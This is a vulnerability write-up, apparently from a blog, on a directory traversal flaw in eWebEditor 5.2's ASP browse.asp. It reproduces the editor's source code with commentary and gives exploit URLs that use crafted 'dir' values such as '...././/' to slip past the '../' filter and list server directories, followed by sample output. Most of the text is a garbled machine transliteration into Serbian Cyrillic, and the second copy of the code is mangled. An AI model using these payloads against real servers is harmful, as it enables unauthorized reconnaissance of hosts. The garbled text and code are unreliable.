евебедитор 5.2 сериес каталог рањивости
: Ст0п
Сопствени станица са уредником пред својим унапредите евебедитор од 5,2 АСП верзије да раде уморни, на одмор, уредник није мислио стварно нашао сам малу рупу, иако је улога међутим не може користити да помогну или прилично добар.
Поднесе празнину постоји у евебедитор / АСП / бровсе.асп
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server . CreateObject ( "Scripting.FileSystemObject" ) Set oUploadFolder = oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err. Number > 0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev ( sDir, "/" ) > 1 Then s_Url = Left ( sDir, InstrRev ( sDir, "/" ) - 1 ) Else s_Url = "" End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/parentfolder.gif'></td>" & _ "<td>..</td>" & _ "<td> </td>" & _ "</tr>" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/closedfolder.gif'></td>" & _ "<td noWrap>" & oSubFolder. Name & "</td>" & _ "<td> </td>" & _ "</tr>" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Name If CheckValidExt ( sFileName ) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ "<td>" & FileName2Pic ( sFileName ) & "</td>" & _ "<td noWrap>" & sFileName & "</td>" & _ "<td align=right>" & GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "</tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "</table>" s_List = HTML2JS ( s_List ) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(" "" & s_List & "" ", " "" & s_Url & "" ")" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt ( s_FileName ) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) CheckValidExt = False aExt = Split ( LCase ( sAllowExt ) , "|" ) For i = 0 To UBound ( aExt ) If aExt ( i ) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam ( ) sType = UCase ( Trim ( Request . QueryString ( "type" ) ) ) sStyleName = Trim ( Request . QueryString ( "style" ) ) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound ( aStyle ) aStyleConfig = Split ( aStyle ( i ) , "|||" ) If Lcase ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript ( "alert('Invalid Style.')" ) End If sBaseUrl = aStyleConfig ( 19 ) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript ( "alert('Do not allow browse!')" ) End If sUploadDir = aStyleConfig ( 3 ) If Left ( sUploadDir, 1 ) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig ( 3 ) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig ( 3 ) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig ( 3 ) & "Flash/" Case Else sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath ( sUploadDir ) Case "2" sContentPath = RootPath2DomainPath ( RelativePath2RootPath ( sUploadDir ) ) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig ( 10 ) Case "FILE" sAllowExt = aStyleConfig ( 6 ) Case "MEDIA" sAllowExt = aStyleConfig ( 9 ) Case "FLASH" sAllowExt = aStyleConfig ( 7 ) Case Else sAllowExt = aStyleConfig ( 8 ) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim ( Request ( "dir" ) ) '得到dir变量 sDir = Replace ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir = Replace ( sDir, "../" , "" ) sDir = Replace ( sDir, "./" , "" ) If sDir <> "" Then If CheckValidDir ( Server . Mappath ( sUploadDir & sDir ) ) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub Функција ГетЛист () Дим с_Лист, с_Урл с_Лист = "" Дим оФСО, оУплоадФолдер, оУплоадФилес, оУплоадФиле, сФилеНаме То Респонсе.Врите сЦуррДир 'Он Еррор Ресуме Нект Сет оФСО = ЦреатеОбјецт сервера. ("Сцриптинг.ФилеСистемОбјецт") Залазак оУплоадФолдер = оФСО. ГетФолдер (Сервер. МапПатх (сЦуррДир)) 'Напомена сЦуррДир променљива, ова вредност се може користити ако погрешило број> 0 Тада с_Лист = "" Екит Фунцтион Енд Иф Иф сДир <> "" Тхен Иф ИнстрРев (сДир "/")> = 1 Затим с_Урл Леви (сДир, ИнстрРев (сДир, "/") - 1) остало с_Урл = "" Енд Иф с_Лист = с_Лист & "<див онцлицк = 'доРовЦлицк (ова)" онмоусеовер = "доРовОвер (ово) 'онмоусеоут =' доРовОут (ово) 'исдир =' труе 'Путања =' "& с_Урл &" ">" & _ "<тд> <имг бордер = 0 срц = '.. / сисимаге / фајл / парентфолдер гиф "> </ див>" & _ "<тд> .. </ спан>" & _ "<тд> </ спан>" & _ "</ див>" Крај Ако је 'Респонсе.Врите сДир & "" & с_Лист Дим оСубФолдер Фор Еацх оСубФолдер У оУплоадФолдер потфасцикле затвора Респонсе.Врите оУплоадФолдер.СубФолдерс. Ако сДир = "" Онда с_Урл = оСубФолдер. Име остало с_Урл = сДир & "/" & оСубФолдер. Име Крај Ако с_Лист = & с_Лист " <тр онцлицк='доРовЦлицк(тхис)' онмоусеовер='доРовОвер(тхис)' онмоусеоут='доРовОут(тхис)' исдир='труе' патх='" & с_Урл & "'> "& _" <тд> <имг бордер = 0 срц = '.. / сисимаге / фајл / цлоседфолдер.гиф'> </ див> "& _" <тд ноВрап> "& оСубФолдер. Име и" </ спан> "& _" <тд> </ ТД> "& _" </ див> "Нект" Респонсе.Врите с_Лист Сет оУплоадФилес = оУплоадФолдер. Фајлови За сваку оУплоадФиле У оУплоадФилес То Респонсе.Врите оУплоадФиле.Наме сФилеНаме = оУплоадФиле. име ако ЦхецкВалидЕкт (сФилеНаме) = истина "Ова линија је мало депресивно, да открије све дозвољено суфикс датотеке, као што не неће моћи да наведе или не наведе само име директоријума и датотеке слике на ИФ сДир =" "Онда с_Урл = сЦонтентПатх & сФилеНаме остало с_Урл = сЦонтентПатх да & сДир & "/" & сФилеНаме Крај Ако с_Лист = с_Лист & "<тр онцлицк='доРовЦлицк(тхис)' онмоусеовер='доРовОвер(тхис)' онмоусеоут='доРовОут(тхис)' урл='" & с_Урл & "'> "& _" <тд> "& ФилеНаме2Пиц (сФилеНаме) &" </ спан> "& _" <тд ноВрап> "& сФилеНаме &" </ спан> "& _" <тд алигн=ригхт> "& ГетСизеУнит ( оУплоадФиле величина.) & "</ спан>" & _ "</ див>" Крај Ако је следећи скуп оУплоадФолдер = Нотхинг Сет = оУплоадФилес ништа "Респонсе.Врите Сервер.ХТМЛЕнцоде (с_Лист) &" "& с_Урл Ако сДир =" " Онда с_Урл "'с_Урл =" / "Елсе с_Урл =" / "& сДир &"' "=" с_Урл = "/" & сДир & "/" Енд Иф с_Лист = с_Лист & "</ табле>" с_Лист ХТМЛ2ЈС = ( с_Лист) 'Респонсе.Врите Сервер.ХТМЛЕнцоде (с_Лист) & & с_Урл "!" с_Лист = "парент.сетДирЛист (" "" & с_Лист & "" "" "" & с_Урл & "" ")" ГетЛист = с_Лист Енд Фунцтион 'Ако не корак откривање, би требало да буде у стању да наведе све фајлове у именику, и мало депресивна .. сада је само листа фајлове и директоријуме који омогућавају суфикс име Функција ЦхецкВалидЕкт (с_ФилеНаме) Ако сАлловЕкт = "" Онда ЦхецкВалидЕкт = Истина Екит Фунцтион Енд Иф Дим И, аЕкт, Сект Сект = ЛЦасе (Мид (с_ФилеНаме, ИнстрРев (с_ФилеНаме,) + 1) ".") = Фалсе ЦхецкВалидЕкт аЕкт = Сплит (ЛЦасе (сАлловЕкт), "|") Фор и = 0 Да УБоунд (аЕкт) Ако аЕкт (И) = Сект Онда ЦхецкВалидЕкт = Труе Екит Фунцтион Енд Иф Нект Енд Фунцтион 'доле кода да пронађе пронађен сЦуррДир вредност следећих вреди Под ИнитПарам () = сТипе УЦасе (трим (Рекуест. Куеристринг ("тип"))) сСтилеНаме = трим (Рекуест. Куеристринг ("стил")) Дим И, аСтилеЦонфиг, бВалидСтиле бВалидСтиле = Фалсе За и = 1 до Убоунд (аСтиле) аСтилеЦонфиг = Сплит (аСтиле (и) "| | |") Ако Лцасе (сСтилеНаме) = Лцасе (аСтилеЦонфиг (0)) Онда бВалидСтиле = Труе Екит Фор Енд Иф Нект Ако бВалидСтиле = Фалсе Затим ОутСцрипт ("алерт ('Неисправан Стил.')") Крај Ако сБасеУрл = аСтилеЦонфиг (19) '= нАлловБровсе ЦЛнг (аСтилеЦонфиг (43)) нАлловБровсе = 1 Ако нАлловБровсе <> 1. Тада ОутСцрипт ("алерт (' Не дозволите да претражујете '!)") Енд Иф сУплоадДир = аСтилеЦонфиг (3) Ако Леви (сУплоадДир, 1) <> "/" Затим изаберите Цасе сТипе случаја "Ремоте" сУплоадДир = ".. / .. /" & сУплоадДир & "Слика /" Случај "Филе" = сУплоадДир ".. / .. / "& сУплоадДир &" Остало / "Случај" МЕДИЈИ "сУплоадДир =" .. / .. / "& сУплоадДир &" Медији / "Случај" БЛИЦ "сУплоадДир =" .. / .. / "& сУплоадДир &" Блиц / " Случај остало сУплоадДир = ".. / .. /" & сУплоадДир & "Слика /" Крај Изаберите Крај Ако је 'сУплоадДир = сУплоадДир & "/" Изабери предмет сБасеУрл Случај "0"' сЦонтентПатх = аСтилеЦонфиг (23) Изаберите предмет сТипе Случај " ДАЉИНСКИ "сЦонтентПатх =" .. / "& аСтилеЦонфиг (3) &" Слика / "Случај" Филе "= сЦонтентПатх" .. / "& аСтилеЦонфиг (3) и" Остало / "Случај" МЕДИЈИ "сЦонтентПатх =" .. / "& аСтилеЦонфиг (3) &" Медији / "Случај" БЛИЦ "сЦонтентПатх =" .. / "& аСтилеЦонфиг (3) &" Блиц / "Случај остало сЦонтентПатх =" .. / "& аСтилеЦонфиг (3) &" Слика / "Крај Изаберите Случај" 1 "= сЦонтентПатх РелативеПатх2РоотПатх (сУплоадДир) Случај" 2 "сЦонтентПатх = РоотПатх2ДомаинПатх (РелативеПатх2РоотПатх (сУплоадДир)) Енд Селецт Селецт Цасе сТипе случаја" Ремоте "сАлловЕкт = аСтилеЦонфиг (10) Случај" Филе "= сАлловЕкт аСтилеЦонфиг (6 ) Случај "МЕДИЈИ" сАлловЕкт = аСтилеЦонфиг (9) Случај "БЛИЦ" сАлловЕкт = аСтилеЦонфиг (7) Случај остало сАлловЕкт = аСтилеЦонфиг (8) Крај Изаберите сЦуррДир = сУплоадДир То Напомена, ово је пут у конфигурацији адресу сДир = Трим ( Захтев ("дир")) 'гет променљиве сДир дир = РЕПЛАЦЕ (сДир, "\", "/")' режија променљива филтера сДир = РЕПЛАЦЕ (сДир ".. /", "") сДир = Реплаце ( сДир, "/.", "") Ако сДир <> "" Тхен Иф ЦхецкВалидДир (Сервер. Маппатх (сУплоадДир & сДир)) = Труе Онда сЦуррДир = сУплоадДир & сДир & "/" 'фокусирати на овде, погледајте Не, када када сУплоадДир & сДир, сЦуррДир од вредности сУплоадДир и сДир 'Иако на лицу сДир филтрирани, али можемо прескочити специфична употреба ст0п остало сДир ће бити дат у наредном употребу =. "Енд Иф Енд Иф Енд Суб |
Хеј, види ово треба да схвате да, у ствари, филтрирање ветра, можемо изградити посебну вредност да прескочите проверу, тако да можете добити структуру директоријума и прикаже датотеку са екстензијом фајлова дозвољено у датотеци подешавања ..
Примена метода су следеће
хттп://ввв.ст0п.орг/евебедитор/асп/бровсе.асп?стиле=стандард650&дир=..../.// ..
Ст0п Тест отпремање директоријум је роот директоријум од уплоадфиле наведеној адреси можете добити све директоријуме у роот директоријуму.
Хеј, ако вам се отварају екран је празан, не изгубити срце, што погледате изворни код, видимо, који ће имати свој роот директоријум у директоријуму имена.
Он је роот директоријум постоји директоријум гост, можемо навести следећу адресу своју следећу структуру
хттп://ввв.ст0п.орг/евебедитор/асп/бровсе.асп?стиле=стандард650&дир=...././/...././/гуест
Онда можемо
хттп://ввв.ст0п.орг/евебедитор/асп/бровсе.асп?стиле=стандард650&дир=...././/../..../.// ..
Пребаци се на вишим слојевима, мој тест виртуелни домаћин, добили три директориј ввв, ЛогФиле и Документација.
<ХТМЛ> <ХЕАД> <мета Хттп-екуив='Цонтент-Типе' цонтент='тект/хтмл; цхарсет=утф-8'> <ТИТЛЕ> еВебЕдитор </ ТИТЛЕ> </ хеад> <боди> <сцрипт лангуаге = ЈаваСцрипт> парент.сетДирЛист ("<тр онцлицк='доРовЦлицк(тхис)' онмоусеовер='доРовОвер(тхис)' онмоусеоут='доРовОут(тхис)' исдир='труе' патх='../..'> <тд > <имг бордер=0 срц='../сисимаге/филе/парентфолдер.гиф'> </ тд> .. </ тд> </ тд> </ див> <див онцлицк = 'доРовЦлицк (ова) "онмоусеовер =" доРовОвер (ово)' онмоусеоут = 'доРовОут (ово)' исдир = 'труе' Путања = '/ .. / .. / .. лог фајлове'> <тд> <имг бордер = 0 срц = '.. / сисимаге / фајл / цлоседфолдер.гиф'> </ тд> ноВрап> лог фајлове </ тд> </ тд> </ див> <див онцлицк = 'доРовЦлицк (ово ) "онмоусеовер =" доРовОвер (ово) 'онмоусеоут =' доРовОут (ово) 'исдир =' труе 'Путања =' .. / .. / .. / ввв "> <тд> <имг бордер = 0 срц = '. / сисимаге /. фајл / цлоседфолдер.гиф '> </ тд> ноВрап> ууу </ тд> </ тд> </ див> </ табле> "," / .. / .. / .. ") </ сцрипт> </ БОДИ> </ хтмл> |
Ова рањивост може само узети у обзир када помоћни употреба детекција упада, можете добити структуру директоријума, на пример, управљање променама директоријум, база података директоријум, тако да можете добити име директоријума, али не могу набројати датотеке нека ст0п депресиван. ја ....
Ово је други оригинални документ издат од стране ст0п на блогу, после више, ГА, је сада такође сматра Блог отворен ..
Напомена: скок у директоријум веб сајта који се користи у све што сам нашао рецепцију ће бити замењен










































275 трацкбацк (с)
Морате бити пријављени да поставиш коментар.